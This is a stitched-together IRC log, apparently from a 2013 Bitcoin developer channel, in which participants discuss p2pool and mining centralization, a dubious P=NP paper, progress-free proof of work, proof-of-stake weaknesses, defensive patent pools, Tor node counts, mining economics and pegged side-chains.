20:09 < maaku_> adam3us: that'd be great if it does, but it probably just connected to a public p2pool node
20:10 < maaku_> which is really no different than a centralized pool as far as this conversation is concerned
20:10 < petertodd> maaku_: don't think I'm saying I have a perfect solution yet, I'm just saying we're incredibly naive in this community thinking stuff like p2pool is much of a fix
20:10 < petertodd> heh, heck, adam not knowing exactly what his hashing power was doing is a great example of why this is hard...
20:10 < adam3us> warren: maybe in your p2pool fixing budget you could try get a shiny nice UX GPU / ASIC scrypt/hashcash miner that bundles p2pool and makes it the default
20:11 < petertodd> adam3us: meh, that shiney p2pool bundle is an easy thing that people are already working on for free
20:11 < warren> adam3us: p2pool requires high CPU and disk i/o performance to be efficient =(
20:11 < adam3us> petertodd: i think the UX might be the key though. if someones doing it for fre fine
20:12 < maaku_> warren adam3us: really all you need to do is bundle up a py2exe virtual environment for p2pool with gitian builds of bitcoind and bfgminer
20:12 < petertodd> warren: I set my p2pool node to mine very small blocks for that reason
20:12 < maaku_> let bfgminer --p2pool set up the services
20:12 < petertodd> warren: I think it's set to like 0.01BTC/KB fee or something
22:24 < andytoshi> yeah, but it's easy to get an endorsement in academia
22:25 < andytoshi> also if you had an account before they started doing endorsements
22:25 < andytoshi> i think you're free
22:25 < Mike_B> http://arxiv.org/find/cs/1/au:+Yakhontov_S/0/1/0/all/0/1
22:25 < Mike_B> heh
22:25 < Mike_B> his first paper was some other random thing
22:26 < Mike_B> he probably was like "can you endorse me for this algorithms paper?" and the guy was like "sure"
22:26 < Mike_B> second paper after that: "P = NP"
22:26 < Mike_B> i'd be pissed if i was the endorser
22:28 < andytoshi> lol yeah, i'd be annoyed
22:28 < andytoshi> tbh i'd probably never bother to find out :P
22:39 < gmaxwell> we find out later it was just created as an effort to manipulate bitcoin prices.
22:40 < gmaxwell> Mike_B: meh, give him an easy one, ask for an md5 second preimage of the all zeros md5sum.
22:41 < Mike_B> ha
22:44 < Mike_B> i wonder how security would change if you replaced the usual 10m blockchain confirm with the following process
22:45 < Mike_B> 1) set difficulty so that each miner can solve the problem in (some shorter amount of time, like 10s)
22:45 < Mike_B> 2) wait for N miners to have declared a solution
22:46 < Mike_B> (assuming N is large)
22:46 < gmaxwell> not progress free.
22:46 < Mike_B> 3) have those miners come to consensus
22:46 < Mike_B> "progress free"?
22:46 < gmaxwell> A large miner has an unfair advantage.
22:46 < gmaxwell> He will mine with his large hashpower, claiming to be M small miners.
22:47 < Mike_B> right but is that just the same 51% vulnerability?
22:47 < gmaxwell> and his partial results for himself, and then come to consensus with himself, and by keeping his partial results to himself he gets a superlinear speedup.
22:47 < gmaxwell> At the extreme the fastest miner always wins.
22:47 < gmaxwell> no its not.
22:49 < Mike_B> so say you have an expected solving time of s, and you need N miners for a quorum, so that s*N = 10 minutes
22:49 < gmaxwell> imagine the extreme version where every hash is a winner. I am 4gh/s you are 3gh/s. Target is 40giga-shares to solve a block. How many blocks will you solve?
22:50 < Mike_B> what do you mean by "giga-shares?"
22:50 < gmaxwell> hashes.
22:51 < Mike_B> if every hash is a winner, doesn't that mean the target is 1 hash to solve a block?
22:51 < gmaxwell> I mean every hash meets your lower criteria.
22:51 < gmaxwell> I'm using an extreme example where the ratio of the lower criteria to the block criteria is very large.
22:51 < gmaxwell> In those cases mining becomes a race and the fastest miner ~always wins.
22:52 < gmaxwell> it's true when the ratio isn't large, but the advantage is somewhat less.
22:53 < gmaxwell> The method you're describing (breaking up the hashcash into N smaller hashcashes) is suggested in some hashcash papers to reduce variance, but it has the property that it's not progress free, which is why we don't use it.
22:53 < Mike_B> don't understand what you mean by "lower criteria" and "block criteria"
22:53 < gmaxwell> lower criteria is your "solving criteria"
22:54 < gmaxwell> Mike_B: in your own language set N to a large value like a billion.
22:55 < Mike_B> ok, and now what
22:55 < Mike_B> N is a billion, s is tiny, N*s = 10m
22:57 < gmaxwell> now you have some miners and one a good amount faster than the others. instead of sharing his partial solutions he hordes them (or at least hordes them unless he learns of someone else having too many of them).
22:59 < Mike_B> ok
23:05 < Mike_B> gmaxwell: i still don't see the issue, sorry
23:05 < Mike_B> you're talking about a case where a miner has a plurality of hashpower but not a majority?
23:07 < gwillen> Mike_B: I haven't fully understood the issue, but consider that _any_ scheme here you have a threshold of "N miners" can do something by consensus, there's something wrong
23:07 < gwillen> Mike_B: because one miner can always claim to be N miners for any value of N
23:07 < gwillen> so either the threshold is not necessary, or it's broken
23:08 < gwillen> I don't know which is the case here
23:10 < Mike_B> gwillen: i mean N verified proofs of work
23:10 < Mike_B> could be the same miner more than once
23:11 < gwillen> okay, N distinct proofs of work, that defeats my objection
23:11 < gwillen> I don't understand gmaxwell's well enough to know what it does to his
23:12 < gwillen> oh, I think I see
23:12 < gwillen> when it's a single share you need, everybody has a chance proportional to their hashpower, but it's high variance
23:13 < gwillen> if you need N smaller shares, you reduce the variance, but you also reduce the chance of people with low hashpower and increase the chance of people with high hashpower
23:13 < gwillen> if you need 1 share that takes a million seconds on average, winning is proportional to hashpower
23:14 < gwillen> if you need a million shares that take 1 second on average, the guy with the most hashpower will win every time
23:14 < gwillen> (if I'm thinking about this right)
23:14 < gmaxwell> Thats what I'm arguing, yes.
23:14 < gwillen> ok.
23:14 < gmaxwell> It's nor progress free. As you find shares you're making progress.
23:14 < gwillen> oh, interesting
23:14 < gwillen> progress-freedom makes it a poisson process
23:15 < gwillen> and only a poisson process has the right statistics for winning to be proportionate to hashpower
23:15 < Mike_B> gmaxwell, can you link me to a paper that describes this
23:17 < Mike_B> if you're saying one exists, anyway
23:18 < Mike_B> gwillen: what i'm trying to figure out is what the analogue of the 51% vulnerability is as N changes
23:18 < gmaxwell> I thought there was, but I'm not finding it at the moment, I'll look more after dinner. :)
23:18 < gwillen> Mike_B: as I understand it, you could indeed compute an analogous percentage as a function of N
23:18 < gwillen> but I don't know how off the top of my head
23:19 < Mike_B> gmaxwell: alright, well i'd much appreciate it if you do find anything
23:19 < gwillen> I could probably work it out but I have real work I need to be doing
23:20 < Mike_B> gwillen: fair enugh
23:20 < Mike_B> enouh
23:20 < Mike_B> god damn it
23:20 < Mike_B> :(
23:21 * Mike_B "enoughghghghghghghghghghghghg"
23:23 < gmaxwell> new lenovo keyboard?
23:24 < Mike_B> no, i just developed a neuromuscular disorder that lasted 2 seconds
23:26 < gmaxwell> It's been known to happen to bitcoiners. :(
23:27 < Mike_B> bitcoin-related finger tremor
23:28 < Mike_B> ok, so i see your objectionnow
23:28 < Mike_B> so you're saying the target is 0xfffff....
23:28 < Mike_B> so every hash wins, but you need a trillion hashes or whatever
23:29 < Mike_B> so if you have double the hashpower I do, you generate hashes twice as fast
23:30 < Mike_B> and i guess you're saying there's a strategy where you can hoard hashes and i, the poor unsuspecting sap, just broadcasts them to the network
23:30 < Mike_B> is that right?
23:31 < Mike_B> i guess i'm just not sure how you'd use hoarding hashes to have influence more than your hashpower
23:31 < Mike_B> you'd have to wait for me to pass some threshold and thend ump
--- Log closed Thu Dec 05 00:00:32 2013
--- Log opened Thu Dec 05 00:00:32 2013
01:01 < amiller> gmaxwell, what do you think of the transaction notation in the "mpc on bitcoin" paper
01:01 < amiller> is it easy to read?
01:02 < amiller> it's a pretty sound compromise between the current academic notation and how we're used to looking at them, i think
01:03 < amiller> i guess i should try writing something else out in that style
08:21 < jtimon> maaku I'm still on page 5, but this P = NP paper looks very good
08:22 < jtimon> I thought you believed this was possible since you tried it yourself
08:28 < fagmuffinz> jtimon, link?
08:28 < jtimon> <maaku> supposid proof of P=NP : http://arxiv.org/pdf/1208.0954.pdf
08:28 < jtimon> <maaku> dubious of a proof that's only 24 pages long
08:38 < t7> can you express the problem in coq or agda?
08:46 < _ingsoc> For a second I thought it was this guy: https://en.wikipedia.org/wiki/Sergei_Yakhontov
08:46 < _ingsoc> I would have been like, damn, that's badass.
08:52 < iddo> jtimon: it's not new, it's revised from 2012, see http://arxiv.org/abs/1208.0954 and http://www.win.tue.nl/~gwoegi/P-versus-NP.htm
08:53 < nsh> what was the problem in 2012?
08:53 < nsh> shouldn't a constructive proof of P=NP leads pretty directly to an efficient algorithms/reductions for All The Problems
08:54 < nsh> ?
08:54 < TD> huh
08:54 < TD> it's funny to see a list of papers along with claims "This paper proves P=NP" followed by "This paper proves P/=NP"
08:55 < nsh> yeah
08:55 < nsh> --
08:55 < nsh> [Equal]: In September 2012, Sergey V. Yakhontov proved that P=NP. The proof is constructive, and explicitly gives a polynomial time deterministic algorithm that determines whether there exists a polynomial-length accepting computational path for a given non-deterministic single-tape Turing machine. The paper is available at http://arxiv.org/abs/1208.0954.
08:55 < nsh> (Thanks to Ricardo Mota Gomes for providing this link.)
08:55 < nsh> --
08:55 < iddo> nsh: serious people stopped trying to look for problems in non-peer-reviewed papers like this, e.g. http://www.wisdom.weizmann.ac.il/~oded/p-vs-np.html
08:56 < nsh> (constructively determining the existence of something is not constructive)
08:56 < TD> isn't looking for problems rather what peer review means?
08:56 < sipa> nsh: there are classes above NP that would be unaffected (ExpTime, ...)
08:56 < nsh> sipa, right
08:56 < sipa> also, polynomial does not imply efficient by any real-world standard
08:56 < sipa> (assume it was polynomial in the 100th degree?)
08:58 < nsh> have there been many cases of polynomial algorithms being found but only with high exponents?
08:58 < nsh> i have the impression (but i don't know how reliable it is) that generally relatively efficient algorithms are found where they exist at all
18:53 < adam3us> btw it would be super embarasising if the thing which over took bitcoin if it happened was esentially a lame param tweak
18:53 < gmaxwell> PPC would be interesting to me if it weren't sullied with that stupid block signing.
18:53 < maaku> the pun on "free market" was just too good to pass up
18:54 < maaku> geistgeld, my favorite. 15 second blocks
18:54 < maaku> that actually was useful
18:54 < maaku> and appropriately, now dead
18:54 < gmaxwell> the scrypt expirement ran its coarse and failed as an expirement: It failed its stated goal, and it's had negative side effects (making initial (/spv) sync slow). Double sad is that many people (myself included) predicted exactly this outcome.
18:54 < adam3us> sipa: yes litecoin main claim was giving gpu miners something to play with when asics came
18:55 < sipa> i wonder, with PPC, can you mine on both branches of a block chain fork at once, without loss?
18:55 < jtimon> wasn't geistgeld the first one with scrypt?
18:55 < gmaxwell> maaku: I liked "liquidcoin" the one with the difficulty set to a fixed level... it rapidly turned into a thousand seperate currencies as nodes could never manage to converge.
18:55 < adam3us> sipa: well even that was unintended if i caught up correctly it aimed for cpu preference and failed, luckily for it asics came along
18:56 < gmaxwell> sipa: with PoS you can indeed, thats why PoS is sad. PPC arbritrates forks with a special altert message that adds a checkpoint, run by the developer.
18:56 < jtimon> I dream with a SCIP/spark-based pow
18:57 < sipa> gmaxwell: i keep reading "PoS" as "piece of shit"
18:57 < adam3us> he he
18:57 < petertodd> gmaxwell, maaku: working on a paper analyzing profitability of tx fees - results are looking pretty ugly w/ centralizing mining having at best linear improvements in profitability.
18:58 < sipa> gmaxwell: oh, so that is actually why the checkpoints are needed
18:58 < adam3us> gmaxwell: scrypt spv problem being higher hash validation cost?
18:58 < petertodd> gmaxwell, maaku: you can very quickly construct a proof that in any circumstance mining is something where increased hashing power gives you more profits per unit work
18:58 < sipa> gmaxwell: i thought it was to prevent tons of SHA256 power working against it
18:58 < petertodd> gmaxwell, maaku: which we knew... but it looks like under certain circumstances the implications of that are really ugly.
18:58 < gmaxwell> adam3us: no it wasn't, LTC's claim was that it was cpu only (gpu resistant) :P
18:58 < adam3us> gmaxwell: yes i read that
18:59 < sipa> < adam3us> sipa: yes litecoin main claim was giving gpu miners something to play with when asics came <-- unsure what you mean here
18:59 < gmaxwell> sipa: most of PPC blocks is PoS mining now, the SHA256 difficulty is quite high.
18:59 < adam3us> gmaxwell: "and it's had negative side effects (making initial (/spv) sync slow)." was referring to that ... scrypt spv problem being higher hash validation cost?
18:59 < petertodd> bbl
19:00 < jtimon> the theory now is that ASICs = centralization = less security: I think bitshares offers an "even-harder-to-asic" pow
19:00 < gmaxwell> sipa: the first version of PPC PoS was super vulnerable, by throwing CPU at the POS you could find a path of solutions where your coins were the lucky POS cons for every block.
19:00 < adam3us> sipa: never mind, i just meant that it would've probably died if asic mining hadnt freed up lots of gpus, when its failed attempt to be better on cpu failed
19:00 < sipa> adam3us: ic
19:00 < sipa> adam3us: ironic :)
19:01 < gmaxwell> sipa: they stopped the majority attack by the alert lockins and then did a hardfork to change the PoS so that the stake is selected using POW blocks to prevet that kind of fork and search to favor your own stake.
19:01 < adam3us> sipa: litecoin investors made money from a failure that succeed for random reasons outside of its authors control or expectation
19:02 < gmaxwell> but you can still mine all possible forks, and its rational to do so... you just can't use doing that to make yourself mine all the blocks. :P
19:02 < jtimon> I guess atlantis had a lot to do with ltc success too
19:02 < gmaxwell> (unless you also have a lot of hashpower)
19:02 < adam3us> sipa: but it is kind of interesting that the value of a coin is partly fom the fun that can be had in the act of mining it... if you take away peoples toys by removing gpu mining and asics being hard to get, then thats what happens
19:03 < adam3us> jtimon: atlantis?
19:03 < jtimon> was another silk road that accepted both btc and ltc
19:03 < gmaxwell> adam3us: litecoin mining was really weird for a long time, e.g. it was net unproftable over power for a very long time until GPU mining took off.
19:04 < adam3us> btw i had a look at bitshares protocoin mining run and they very badly screwed their params, but the psychology of the miners on the #protoshares channel was interesting... they mostly didnt understand what it was or why they were mining it, just it was fun, and they were early and getting discount/jump on a timelimited offer
19:05 < gmaxwell> adam3us: yea, mining all the new things blindly has been at times very profitable.
19:05 < adam3us> (they hard forked their params with no warning to the alarm of users who prepaid for like hosting services on a month basis that bitshares was taking referral commission on)
19:05 < adam3us> i was too late to encourage their users to reject and not upgrade!
19:06 < gmaxwell> adam3us: nothing can compete with with all the crazy stuff solid coin did.
19:06 < adam3us> (they put a message n their site to say you have to upgrde or else, but the threat w incorrect - if the miners revolted that wouldve been the end of th param change plan)
19:06 < gmaxwell> I'm pretty sure you could do a hardfork of a moderately successful altcoin where you just moved half the users balances to yourself, and they'd take it.
19:06 < midnightmagic> gmaxwell: I wonder if that's the anonymous developer who wants to add in all that new stuff to an altcoin fork.
19:06 < jtimon> gmaxwell, do you have more on your interactive hashtree proof besides this thread? https://bitcointalk.org/index.php?topic=284194.0
19:07 < gmaxwell> jtimon: the block cut and choose idea at the bottom is applicable to any fiat shamir style non-interactive proof, it just potentially makes them smaller for a given security level.
19:08 < gmaxwell> midnightmagic: hm?
19:08 < adam3us> gmaxwell: btw about your aside about patent trolls, i did send a mail to the foundation lawyer guy and matonis, and they replied to say yes they were working on a defensive shared patent pool
19:09 < gmaxwell> midnightmagic: realsolid hardly did anything original
19:09 < sipa> he was perhaps the first to use floating point in consensus-critical code :)
19:09 < gmaxwell> adam3us: uhh. that the foundation would own? danger danger. 501(c)(6) assets can be taken in bankrupcy to creditors, and bankrupcy transfers can sever otherwise perpetual licenses.
19:10 < midnightmagic> gmaxwell: The ideas lists were collected from others' hardfork wishlists
19:10 < adam3us> gmaxwell: but yeah i dont know.. i suggested such risks to jgarzik who was on the thread here and he seemed less worried
19:10 < gmaxwell> midnightmagic: well ideas are a dime a dozen, sit down I'll pump out another gross of them for you.
19:10 < midnightmagic> :)
19:10 < adam3us> it seemed to me a risk that the foundation could be legally attacked and the patents seized
19:12 < adam3us> but the current alternative is not fantastic either that each new bitcoin startup probably patents half a dozen defensive things, that sooner or later will get bought by a troll, or sol to a big co that does nothing with it apart from park it in a 5000 patent defensive pool
19:12 < adam3us> it happened with chaums digicash patents, until they expired
19:14 < gmaxwell> adam3us: SFLC considers that kind of risk significant, for codec patents we've used a complicated interlocking scheme with multiple 501(c)(3) (which have special asset disposition rules which prevent them from being taken in a bankrupcy), e.g. mozilla filed patents and then assigned them to Xiph.Org under an agreement controlling the dispostion of the
patents should Xiph.Org go away., and we still consider it generally risky as ...
19:14 < gmaxwell> ... opposed to pure defensive publication. (but the risk was necessary because we had to be able to force other potential patent holders to adopt licensing terms we specified and thus needed negotiating leverage)
19:15 < adam3us> i see - maybe you should fwd that to the lawyer guy & matonis
19:15 < gmaxwell> The biggest problem in true defensive patenting is that under current caselaw in the US a bankrupcy court can disolve _any_ licensing agreement, and they do.
19:16 < gmaxwell> (this is also why things like the twitter patent pledge thing are nice in spirit but may not work in practice)
19:16 < adam3us> i was thinking it would be nice to have some way to defnesively avoid patents becoming troll material
19:17 < gmaxwell> the next best idea was to embed trapdoor misconduct in the patent application process, so that our patents were trivally invalidatable but only to us.. uh.. I hope that expresses how hard we considered the process to be. :)
19:17 < adam3us> that bitcoin startups have; maybe they can own them but they revert to the foundation - far out of my depth other than hating patents with a vengence and seeing too many fo them through consulting on crypto for people and wanting to avoid seeing the digicash patent endgame
19:18 < adam3us> if there was a safe way to have defensive pool, it would be good to have something to pressure bitcoin startups to assign their patents too so they can be forced to be sincere about their defensive plans
21:35 < gmaxwell> at some point I believe we'll add some (or multiple) kinds of finite resource priority peers can use to get slots if they're having problems. I've got a couple ideas for that.
21:49 < nanotube> hm, that's interesting
21:52 < nanotube> mem was stable at 16conn, restarted with 128.
--- Log closed Wed Sep 11 00:00:26 2013
--- Log opened Wed Sep 11 00:00:26 2013
00:11 < nanotube> 27 peers, 13 tor. 269/598M ram. (vs 268/585 at 16 peers)
00:11 < nanotube> jrmithdobbs: maybe something changed in a month, but i'm definitely seeing plenty of tor peers.
07:35 < nanotube> 27 tor out of 52. 302/591 mem.
07:35 < nanotube> that /is/ pretty small mem impact per connection, it seems.
07:36 < gmaxwell> it used to be much larger, but, yea, that mostly should have been fixed.
16:21 < nanotube> also, 33 out of 57 connections are tor. definitely some popularity there.
16:37 < nanotube> we could probably use sipa's crawler to get a rough estimate of how many torcoin nodes there are...
17:54 < sipa> nanotube: i crawl tor
20:34 < nanotube> sipa: ah cool. so got any rough estimate? :)
20:35 < sipa> there's 31 onion peers in my database
20:40 < nanotube> heh, i have 35 tor peers right now as we speak. >_<
20:42 < nanotube> but those are people connecting to me, so maybe they are not running a hidden service
--- Log closed Thu Sep 12 00:00:29 2013
--- Log opened Thu Sep 12 00:00:29 2013
01:16 < gmaxwell> nanotube: exactly, we're short of short on onion peers. :(
08:39 < nanotube> there seems to be a decent list on https://en.bitcoin.it/wiki/Fallback_Nodes
10:03 < gmaxwell> petertodd: https://bitcointalk.org/index.php?topic=292857.0 someone proposes a composable signature scheme based on pairing crypto.
10:05 < gmaxwell> e.g. you have a bunch of pubkeys, and values signed... and you can't tell which signed which. bonus: they seem to be claiming the aggregate is constant size.
10:06 < gmaxwell> (though they make some claim about the security model essential to the size being constant and not linear in the number of signatures which I don't understand)
11:44 < petertodd> gmaxwell: broken link
11:45 < petertodd> Sounds promising though!
11:52 < gmaxwell> petertodd: sorry, I moved around some posts: https://bitcointalk.org/index.php?topic=290971.0
11:53 < gmaxwell> In any case, you start of with a bunch of {key, message, signature} and can aggregate one way into a {N x key, N x message, signature} such that you can't tell which key signed for which message. The final signature may be constant in length.
11:53 < gmaxwell> (may because they had some security handwave I didn't follow, otherwise its linear)
14:04 < amiller> i really think i've figured out the economics of bitcoin
14:04 < amiller> it has to be unprofitable for everyone
14:06 < amiller> we have to assume it's always more efficient for large corporations to mine, because of economies of scale etc etc
14:07 < amiller> this is the underlying reason why people panic about the trend of bitcoin towards centralized mining
14:07 < amiller> and it's compelling
14:08 < amiller> if it's unprofitable for some people to mine and profitable for others, then unfortunately it's likely to be profitable only for people with the biggest investments
14:08 < amiller> but this lottery theory is totally a way around that
14:09 < amiller> the solution is basically to make it unprofitable for everyone, including the potentially enormous miners
14:10 < amiller> and in fact the motivation to participate, despite it being unprofitable, is most applicable to the small users and not to the biggest players
14:11 < jgarzik> One argument I've always made is that larger corporations, if they decide to buy into bitcoin mining, will be willing to mine even at a loss
14:11 < amiller> i think the opposite
14:11 < amiller> maybe if they have some external reason as well, like political influence i suppose?
14:12 < jgarzik> amiller, you may obtain several opportunities of ancillary value from mining
14:12 < jgarzik> amiller, mining your own transactions, slowing down your competitors, strategic value, etc.
14:12 < jgarzik> amiller, general network security, lessening dominance of others
14:13 < jgarzik> amiller, laundering (the 110% PPS case)
14:13 < amiller> i see
14:13 < amiller> that's not detrimental, it doesn't necessarily imply the winner take all case
14:13 < jgarzik> agree
14:14 < jgarzik> not trying to rebut your argument, just noting all the value that may be extracted even if the mining itself is notionally unprofitable
14:14 < amiller> sure, fair enough
14:14 < amiller> some of that almost counts as altruistic model as well, basically you've described like a bitcoin stewarding company
14:15 < amiller> it would be disconcerting if a potentially strictly-greedy newtork-ambivalent cost-cutting company could get more and more profitable just by mining and accumulating compute power
14:16 < amiller> so i'm really comfortable now with this decision theory called Cumulative Prospect Theory
14:16 < amiller> it's a generalization of the standard Expected Utility version
14:16 < amiller> EU says that no one ever participates in lotteries, CPT accounts for that
14:17 < amiller> i'm really confident now that modeling bitcoin miners as CPT-rational agents is the way to go
14:19 < amiller> it's not inherently irrational to play a lottery with -ev
14:19 < amiller> which is a nice observation because we know that people do
14:19 < amiller> what's neat is that a lot of people of ordinary wealth may be very excited about the potential of winning like $2500 by mining a block
14:20 < amiller> when the potentially reward is tuned right, basically the most amount of people will participate and the ev will drop
14:21 < amiller> yet $2500 is nothing to a big company, and they're less and less likely to get a big enough jackpot to make it worth participating
14:24 < jgarzik> not necessarily stewarding -- I was thinking to myself of an idealized "bitcoin bank", or an HSBC/Goldman bank that wants to participate with bitcoin
14:24 < jgarzik> If you want to participate in the network, there is value in helping to defend it
14:25 < jgarzik> another thought, the most dfficult problem to solve: how to compensate people for joining the network and relaying transactions
14:26 < jgarzik> otherwise we quickly degenerate into only miners running full nodes (which, admittedly, Satoshi described as an end game)
14:37 < jgarzik> amiller, compare price of hardware versus likely expected payoff
14:37 < jgarzik> amiller, it's expensive hardware for a low-payoff lottery, right now
14:38 < jgarzik> any hardware within the reach of normal people will on average produce 1 block every 10 years or so
14:38 < jgarzik> and it seems like that trend will continue
14:38 < amiller> one thing i found is that the cost is totally dominated by equipment rather than power
14:38 < amiller> it surprises me whenver i do that calculation
14:38 < jgarzik> indeed
14:39 < jgarzik> though my $300/month power bill increase was painful today :)
14:39 < jgarzik> 2x Avalon, 2x BFL
14:39 < jgarzik> (need to get that other Av back up)
14:39 < gmaxwell> petertodd: https://bitcointalk.org/index.php?topic=290971.msg3139004#msg3139004
14:39 < amiller> i'm interested in the structure of bitcoin's reward
14:39 < amiller> like if there were bigger jackpots
14:40 < amiller> perhaps sometimes you could win a thousand bitcoin bonus
14:40 < amiller> that would change the way in which people participate
14:40 < amiller> even if somehow the expected profit was fixed
14:40 < amiller> that's my point overall i guess is that i'm moving away from an expected-profit-centric analysis of the rewards
14:40 < gmaxwell> 11:19 < amiller> what's neat is that a lot of people of ordinary wealth may be very excited about the potential of winning like $2500 by mining a block
14:41 < gmaxwell> ^ doesn't explain why most people won't solo mine,
even in small amounts... even with a positive ev. :P
14:42 < gmaxwell> amiller: a significant fraction of miners think mining is a race, and that you get super linear rewards from big aggregates. "So much for rational agents" .. so perhaps thats what explains the prevailance of pooling, it doesn't seem to explain the near absense of solomining.
14:42 < gmaxwell> jgarzik: 11:25 < jgarzik> another thought, the most dfficult problem to solve: how to compensate people for joining the network and relaying transactions
14:43 < gmaxwell> So, there was just a "anonymity" proposal that resolves that as a side effect.
14:43 < amiller> gmaxwell, i have two responses, one is that it could easily be something that happens later as people learn to understand the economics better, the other is that perhaps the $2500 is even too steep and people would like to have a small chance at winning like $20 or something
14:44 < amiller> there are tons of studies on lottery design, and its' well known that lottery designs typically have lots of different prizes
14:44 < jgarzik> Explaining the near absence of solo mining: There is a rather large chance you will /never/ get paid for that noisy, loud hardware you had to fight to obtain.
14:44 < amiller> i found one paper that looks at optimal lottery design for a market of CPT agents in partiuclar, and basically concludes that an optimal lottery has a continuous prize distribution, not just finite prizes
14:44 < jgarzik> The motivation to help the network is not nearly so strong.
14:44 < amiller> bitcoin has exactly one prize
14:44 < amiller> for bigger prizes, you have to go to satoshi dice
14:44 < amiller> for smaller prizes, you have to go to satoshi dice
14:45 < gmaxwell> jgarzik: I mean back when CPU mining was still profitable (postive EV over power costs) but not very, I had basically no luck convincing now gpu miners to spin up their cpus laying around solo mining.
11:58 < jtimon> petertood: "reduce the consensus "size"", that's what I meant here " though the most promising scalability improvements can only come from more data being directly exchanged between parties without toughing the chain"
11:58 < petertodd> TD: ha, for once we're on agreement on scalability (at least on what we should do in the short/medium term)
11:59 < jtimon> TD ok I get your point
11:59 < TD> i'll go out and celebrate tonight :)
11:59 < jtimon> TD but that's assuming no merged mining :(
11:59 < petertodd> TD: and for long-term, we can probably agree that we don't know yet becaues the research hasn't been done :)
12:00 < TD> the scaling issues with bitcoin aren't really mining, they're to do with management of the chain/transaction rates/etc. so merged mined altcoins are fine.
12:00 < TD> indeed!
12:00 < jtimon> yeah, maybe I'm just envisioning the worst-case scalability scenario, and still future looks bright
12:00 < petertodd> jtimon: ah, well depends on your definition of "the chain" - I think long-term we can create systems where, very roughly speaking, you have multiple chains where the "timestamping" PoW is all merged, but the proof-of-publication isn't
12:01 < petertodd> jtimon: so your tx on *a* blockchain might be subject to consensus by an audience of 10,000 or whatever, but the "audience" timestamping it may be millions
12:02 < petertodd> jtimon: and most likely the tech will be such that the more valuable transactions end up paying higher (absolute) fees, and are "seen" by a larger audience
12:02 < adam3us> TD: i'm more excited about pegged side-chains (aka alts but with bitcoin price pegging in lieu of new scarcity races) as a building block to explore sharding and other features. then each guy with a crazy idea can go knock himself out on a side chain without creating dust on bitcoin main meta-coin style, and without creating a new tulip coin with scarcity
race sales-hook being his "feature"
12:02 < jtimon> petertodd: I just don't know how you're going to do that
12:02 < petertodd> jtimon: the open research problems are all related to how does security work there
12:03 < jtimon> petertodd: as said some kind of sharding would be very nice
12:03 < petertodd> jtimon: well, I've got some ideas - day before yesterday I outlined one on -wizards
12:03 < jtimon> yeah you half-explained me one, but I was unconvinced
12:04 < petertodd> adam3us: yeah, merge-mined sharding w/ pegged value is probably a reasonable way to upgrade bitcoin 1.0 to this kind of technology
12:04 < jtimon> I'm happy that you're thinking about these things though
12:04 < petertodd> adam3us: but as I say, the specifcs are an open question right now
12:04 < adam3us> anyway its not doom & gloom, we're not all out of ideas, maybe petertodd is full of it or maybe he finds the magic formula :)
12:05 < jtimon> petertodd: one idea I had in mind was partitioning the sequencing itself
12:05 < helo> sharding is sending bitcoin to an unspendable bitcoin addresses to mint altcoin?
12:05 < adam3us> petertodd: right exactly. so lets build pegged side-chain and let a dozen people and startups go try see if they can figure it out
12:05 < jtimon> but I haven't found a way to make it p2p
12:05 < adam3us> helo: no sharding is generic... just means split up the volume somehow
12:06 < helo> ok
12:06 < adam3us> helo: pegged side-chain involves proof of transfer (you can move the coin back too, not destroyed as such)
12:06 < petertodd> adam3us: heh, worst comes to worst all my off-chain stuff *does* work just fine subject to the semi-centralization involved, and it has the enormous advantage that implementations of it can fail and won't take down the whole system with it
12:06 < jtimon> helo: like having half transactions in one chain and the other half in another chain
12:07 < jtimon> helo: I meant that for sharding
12:07 < adam3us> petertodd: it is highly likely that at least one person will try to claim solving it via a centralized server. well we have open transactions even :) federated but auditable, and rebuildable from receipts
12:07 < petertodd> jtimon: yeah, atomicicity of transactions in sharded systems is a really interesting question
12:08 < petertodd> adam3us: yup, my actualy claim to fame in that space is only better systems of auditing and fraud punishment - the idea itself is so simple as to get reinvented constantly
12:08 < petertodd> adam3us: *actual
12:08 < jtimon> let me explain how would it work "centralized", maybe you can come up with a way to make that p2p
12:08 < adam3us> petertodd, jtimon: so pegged side chain, like 100 of them merge mined, coins moved via SPV proof of move or atomic cross chain swap. seems not implausible
12:08 < jtimon> or someone else
12:09 < petertodd> jtimon: see fidelity bonded banks where the machine readable fraud proofs are what makes it possible to do it p2p
12:09 < jtimon> adam3us: that still requires fat validation miners
12:09 < petertodd> jtimon: no it doesn't, mining is scalable because miners don't have to validate all chains
12:09 < jtimon> petertodd you don't know what I'm going to say yet
12:10 < adam3us> jtimon: it merged mined, but maybe some model can be found for mining without having all 100 full tx feed. its not like most mining power right now is even looking at the tx...
12:10 < jtimon> petertodd: there was no sharding in adam3us not implausible comment
12:11 < jtimon> "pegged side chain, like 100 of them merge mined, coins moved via SPV proof of move or atomic cross chain swap. seems not implausible"
12:11 < adam3us> anyway we dont have to solve it today... more worried about how to provably preventing someone sneaking fractional reserve into a side-chain at this moment.
12:11 < adam3us> jtimon: yeah is just a definitional thing. you could consider the 100 side chains 100 shards
12:12 < petertodd> adam3us: well, like I said above, the trick is to separate timestamping form the proof-of-publication - merge-mined side chains can naturally work that way if they are genuinely merge-mined, as opposed to just a soft-forking change
12:12 < adam3us> petertodd: yes this is a kind of open transactions argument. i buy that as a plausible thing to explore.
12:12 < jtimon> well, since we don't know how to shard yet and you didn't explicitly mentioned it, I thought you meant we could still scale doing that without sharding
12:13 < adam3us> jtimon: i was thinking of a use-case of (multiple identical) pegged side-chains as a mechanism for sharding
12:13 < petertodd> jtimon: well, remember my thought example of the tree-like consensus system? if your top node in that tree is the bitcoin blockchain, then the two leaves logically are your merge-mined side-chains
12:14 < petertodd> jtimon: which is why coming up with a backwards-compatible upgrade is actually fairly plausible - ugly, but feasible
12:15 < jtimon> adam3us: but the pegging thing is to solve the "exchange rate" problem TD mentions
12:15 < adam3us> petertodd: its the beauty of pegged side-chain, the side chain (or lots of them, or competing lots of them) can go do experiments while retaining bitcoin main fungibility
12:15 < petertodd> adam3us: yup
12:16 < jtimon> adam3us: I'm saying I don't know a technical solution for merged mining + sharding in the first place, seem kind of incompatible to me
12:16 < adam3us> jtimon: right. but pegged side-chains also form security firewalled experiment zones for interesting things, like sharding, freimarket script extensions, utxo compaction, zerocoins, comitted tx... anything within reason
12:17 < adam3us> petertodd: the limitation is oniy i think it has to be not too alien for bitcoin to not be able to consume the side-chains SPV proof of move
12:18 < jtimon> adam3us: security firewalled? what in pegcoin makes it more attractive to merge mine than say, devcoin?
